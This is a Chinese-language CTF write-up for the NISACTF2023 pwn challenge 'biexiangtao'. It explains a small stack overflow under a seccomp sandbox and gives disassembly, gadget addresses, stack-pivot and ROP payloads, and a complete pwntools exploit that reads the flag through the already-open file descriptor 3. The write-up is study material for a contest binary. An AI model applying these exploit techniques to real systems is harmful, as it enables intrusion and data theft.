NISACTF2023 WP

NISACTF2023 WP

前言

2年多没玩CTF了,pwn显得手生了不少,我的PWN环境已经在硬盘的某个角落里吃灰了。今天参加了一场校赛,捣鼓了一下午,Reverse和PWN都AK了。其实比赛是新手向,没啥难度,不过有道PWN设计的比较巧妙,got了两个tips,也就是今天将要分享的。

基本信息

NISACTF2023 WP_第1张图片

64位程序,只开启了栈不可执行保护。

分析

NISACTF2023 WP_第2张图片

显然漏洞点是栈溢出,能溢出的大小只有0x28字节。同时注意到程序开启了沙箱规则

NISACTF2023 WP_第3张图片

禁止使用特定的系统调用 e x e c v e \textcolor{cornflowerblue}{execve} execve e x e c v e a t \textcolor{cornflowerblue}{execveat} execveat和某个范围内的指令。

已知flag在同目录下的flag文件里,并且程序中引用了 o p e n \textcolor{cornflowerblue}{open} open r e a d \textcolor{cornflowerblue}{read} read p u t s \textcolor{cornflowerblue}{puts} puts等函数,只要有这3个就足够了。

利用思路就是构造 R o p c h a i n 去读取 f l a g 到某个地址上,然后将其打印出来。 \textcolor{green}{利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。} 利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。

但是浅尝之后发现溢出的大小不足以构造这样的Ropchain,遂考虑进行栈迁移。通常使用栈迁移的gadgets l e a v e ; r e t \textcolor{orange}{leave;ret} leave;ret,我打算在bss段(0x4040E8+0x80)中重建新的栈。在栈迁移之前应该在新栈中就已布置好Ropchain,但是直接用常规的栈迁移方式同样受限于溢出的大小不足。

所以这里就出现了一个小tips,我们来看看 m a i n \textcolor{cornflowerblue}{main} main函数的汇编代码:

.text:00000000004012E0                                                 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004012E0                                                                 public main
.text:00000000004012E0                                                 main            proc near               ; DATA XREF: _start+21↑o
.text:00000000004012E0
.text:00000000004012E0                                                 buf             = byte ptr -40h
.text:00000000004012E0                                                 var_4           = dword ptr -4
.text:00000000004012E0
.text:00000000004012E0                                                 ; __unwind {
.text:00000000004012E0 F3 0F 1E FA                                                     endbr64
.text:00000000004012E4 55                                                              push    rbp
.text:00000000004012E5 48 89 E5                                                        mov     rbp, rsp
.text:00000000004012E8 48 83 EC 40                                                     sub     rsp, 40h
.text:00000000004012EC B8 00 00 00 00                                                  mov     eax, 0
.text:00000000004012F1 E8 7B FF FF FF                                                  call    init
.text:00000000004012F6 BE 00 00 00 00                                                  mov     esi, 0          ; oflag
.text:00000000004012FB 48 8D 3D 06 0D 00 00                                            lea     rdi, file       ; "flag"
.text:0000000000401302 B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401307 E8 E4 FD FF FF                                                  call    _open
.text:000000000040130C 89 45 FC                                                        mov     [rbp+var_4], eax
.text:000000000040130F 48 8D 3D FA 0C 00 00                                            lea     rdi, s          ; "We opened flag, no need to thank."
.text:0000000000401316 E8 85 FD FF FF                                                  call    _puts
.text:000000000040131B 48 8D 3D 10 0D 00 00                                            lea     rdi, aNowPleaseSignI ; "Now please sign in ~"
.text:0000000000401322 E8 79 FD FF FF                                                  call    _puts
.text:0000000000401327 48 8D 3D 19 0D 00 00                                            lea     rdi, format     ; ">> "
.text:000000000040132E B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401333 E8 78 FD FF FF                                                  call    _printf
.text:0000000000401338 48 8D 45 C0                                                     lea     rax, [rbp+buf]
.text:000000000040133C BA 68 00 00 00                                                  mov     edx, 68h ; 'h'  ; nbytes
.text:0000000000401341 48 89 C6                                                        mov     rsi, rax        ; buf
.text:0000000000401344 BF 00 00 00 00                                                  mov     edi, 0          ; fd
.text:0000000000401349 E8 72 FD FF FF                                                  call    _read
.text:000000000040134E B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401353 C9                                                              leave
.text:0000000000401354 C3                                                              retn
.text:0000000000401354                                                 ; } // starts at 4012E0
.text:0000000000401354                                                 main            endp

在**@line:27**,会将 [ r b p − 0 x 40 ] \textcolor{orange}{[rbp-0x40]} [rbp0x40]作为 r e a d \textcolor{cornflowerblue}{read} read读入的地址,这一处可以用来向新栈中布置Ropchain,然后再利用常规的栈迁移gadgets将旧的栈迁移到新的栈,这是我想说的第一个点。

例如,我想将旧的栈迁移到 0 x 4040 E 8 + 0 x 80 \textcolor{orange}{0x4040E8+0x80} 0x4040E8+0x80位置,在第一次溢出的时候将rbp的值覆盖为 0 x 4040 E 8 + 0 x 80 − 0 x 40 \textcolor{orange}{0x4040E8+0x80-0x40} 0x4040E8+0x800x40,返回地址覆盖为0x401338,这样我就相当于拥有0x68个有效溢出字节的能力了,而此前只有0x28个有效溢出字节。

这一步的payload:

pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060 
stack = 0x4040E8+0x80
pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)

为了合理布局栈,需要通过调试确定执行完毕0x401353的指令后rsp的位置,首先输入一些垃圾值: ′ A ’ ∗ 0 x 10 \textcolor{orange}{'A’*0x10} A0x10

NISACTF2023 WP_第4张图片

RSI指向的是 r e a d \textcolor{cornflowerblue}{read} read写入的地址此时的RSP指向的是即将ret的地址,两者差值0x48,所以这里可以理解为在输入0x48个字节之后就会覆盖返回地址。所以这第二次输入就可以构造正常的Ropchain了,不过这里需要舍弃 o p e n \textcolor{cornflowerblue}{open} open步骤,否则又超出0x68个字节了,同时还找不到合适的gadgetsrax的值传递到rdi寄存器中。正常的RopChain

fd=open('flag') // 需要省略这一步,因为加上这一步的gadgets,导致总的Ropchain长度超过0x68字节
read(fd,buf,n)
puts(buf)

省略的这一步可以用以下gadgets代替:

pay2=p64(pop_rdi_ret)+p64(3)

完整的Ropchain:

pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)

原理是,回顾上面的main函数汇编代码,第一次运行程序的时候,在 @lin:18打开了flag文件,此时就会返回一个文件号,这个文件号是递增的,源程序只用了3个文件号:stdinstdoutstderr,分别对应012,所以flag的文件号就是3,在源程序没有退出前,这个文件号是一直有效的。这是我想说的第二点。

通过这样的方式完成了整个漏洞利用,并获取了flag。

完整EXP

from pwn import*

context.log_level = 1

local = True

if local:
    p = process('biexiangtao')
else:
    p = remote('10.144.00.228',34757)

pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060 
stack = 0x4040E8+0x80

pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)
pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)

p.send(pay2)

p.interactive()

你可能感兴趣的:(总结,漏洞挖掘与利用,安全)